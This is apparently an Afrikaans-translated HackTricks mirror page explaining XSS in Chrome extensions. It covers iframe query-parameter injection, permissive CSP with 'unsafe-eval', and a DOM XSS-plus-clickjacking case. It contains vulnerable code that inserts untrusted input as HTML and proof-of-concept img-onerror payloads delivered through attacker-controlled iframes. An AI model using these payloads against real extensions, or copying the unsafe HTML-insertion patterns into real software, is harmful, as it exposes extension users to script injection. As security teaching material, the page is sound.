mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
105 lines
5.2 KiB
Markdown
105 lines
5.2 KiB
Markdown
# BrowExt - XSS Voorbeeld
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Cross-Site Scripting (XSS) deur Iframe
|
||
|
||
In hierdie opstelling word 'n **inhoudskrip** geïmplementeer om 'n Iframe te instantiëer, wat 'n URL met navraagparameters as die bron van die Iframe insluit:
|
||
```javascript
|
||
chrome.storage.local.get("message", (result) => {
|
||
let constructedURL =
|
||
chrome.runtime.getURL("message.html") +
|
||
"?content=" +
|
||
encodeURIComponent(result.message) +
|
||
"&redirect=https://example.net/details"
|
||
frame.src = constructedURL
|
||
})
|
||
```
|
||
'n Publiek toeganklike HTML-bladsy, **`message.html`**, is ontwerp om dinamies inhoud by die dokumentliggaam toe te voeg gebaseer op die parameters in die URL:
|
||
```javascript
|
||
$(document).ready(() => {
|
||
let urlParams = new URLSearchParams(window.location.search)
|
||
let userContent = urlParams.get("content")
|
||
$(document.body).html(
|
||
`${userContent} <button id='detailBtn'>Details</button>`
|
||
)
|
||
$("#detailBtn").on("click", () => {
|
||
let destinationURL = urlParams.get("redirect")
|
||
chrome.tabs.create({ url: destinationURL })
|
||
})
|
||
})
|
||
```
|
||
'n Kwaadwillige skrip word op 'n teenstander se bladsy uitgevoer, wat die `content` parameter van die Iframe se bron aanpas om 'n **XSS payload** in te voer. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skrip in te sluit:
|
||
```javascript
|
||
setTimeout(() => {
|
||
let targetFrame = document.querySelector("iframe").src
|
||
let baseURL = targetFrame.split("?")[0]
|
||
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
|
||
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
|
||
|
||
document.querySelector("iframe").src = maliciousURL
|
||
}, 1000)
|
||
```
|
||
'n Oormatig toelaatbare Inhoudsekuriteitsbeleid soos:
|
||
```json
|
||
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
||
```
|
||
laat die uitvoering van JavaScript toe, wat die stelsel kwesbaar maak vir XSS-aanvalle.
|
||
|
||
'n Alternatiewe benadering om die XSS te provoceer, behels die skep van 'n Iframe-element en die instelling van sy bron om die skadelike skrip as die `content` parameter in te sluit:
|
||
```javascript
|
||
let newFrame = document.createElement("iframe")
|
||
newFrame.src =
|
||
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
|
||
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
|
||
document.body.append(newFrame)
|
||
```
|
||
## DOM-gebaseerde XSS + ClickJacking
|
||
|
||
Hierdie voorbeeld is geneem uit die [oorspronklike pos skrywe](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
|
||
|
||
Die kernprobleem ontstaan uit 'n DOM-gebaseerde Cross-site Scripting (XSS) kwesbaarheid geleë in **`/html/bookmarks.html`**. Die problematiese JavaScript, deel van **`bookmarks.js`**, word hieronder uiteengesit:
|
||
```javascript
|
||
$("#btAdd").on("click", function () {
|
||
var bookmarkName = $("#txtName").val()
|
||
if (
|
||
$(".custom-button .label").filter(function () {
|
||
return $(this).text() === bookmarkName
|
||
}).length
|
||
)
|
||
return false
|
||
|
||
var bookmarkItem = $('<div class="custom-button">')
|
||
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
|
||
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
|
||
bookmarkItem.attr("data-title", bookmarkName)
|
||
bookmarkItem.data("timestamp", new Date().getTime())
|
||
$("section.bookmark-container .existing-items").append(bookmarkItem)
|
||
persistData()
|
||
})
|
||
```
|
||
Hierdie snit haal die **waarde** uit die **`txtName`** invoerveld en gebruik **string-konkatenasie om HTML te genereer**, wat dan aan die DOM bygevoeg word met jQuery se `.append()` funksie.
|
||
|
||
Tipies sou die Chrome uitbreiding se Inhoudsekuriteitsbeleid (CSP) sulke kwesbaarhede voorkom. egter, as gevolg van **CSP verslapping met ‘unsafe-eval’** en die gebruik van jQuery se DOM manipulasie metodes (wat [`globalEval()`](https://api.jquery.com/jquery.globaleval/) gebruik om skripte aan [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) oor te dra tydens DOM invoeging), is uitbuiting steeds moontlik.
|
||
|
||
Terwyl hierdie kwesbaarheid beduidend is, is die uitbuiting gewoonlik afhanklik van gebruikersinteraksie: die bladsy besoek, 'n XSS payload invoer, en die “Voeg by” knoppie aktiveer.
|
||
|
||
Om hierdie kwesbaarheid te verbeter, word 'n sekondêre **clickjacking** kwesbaarheid uitgebuit. Die Chrome uitbreiding se manifest toon 'n uitgebreide `web_accessible_resources` beleid:
|
||
```json
|
||
"web_accessible_resources": [
|
||
"html/bookmarks.html",
|
||
"dist/*",
|
||
"assets/*",
|
||
"font/*",
|
||
[...]
|
||
],
|
||
```
|
||
Opmerklik is die **`/html/bookmarks.html`** bladsy geneig tot framing, en dus kwesbaar vir **clickjacking**. Hierdie kwesbaarheid word benut om die bladsy binne 'n aanvaller se webwerf te raam, dit te oorvleuel met DOM-elemente om die koppelvlak misleidend te herontwerp. Hierdie manipulasie lei daargeteëlde slagoffers om onbewustelik met die onderliggende uitbreiding te interaksie.
|
||
|
||
## Verwysings
|
||
|
||
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|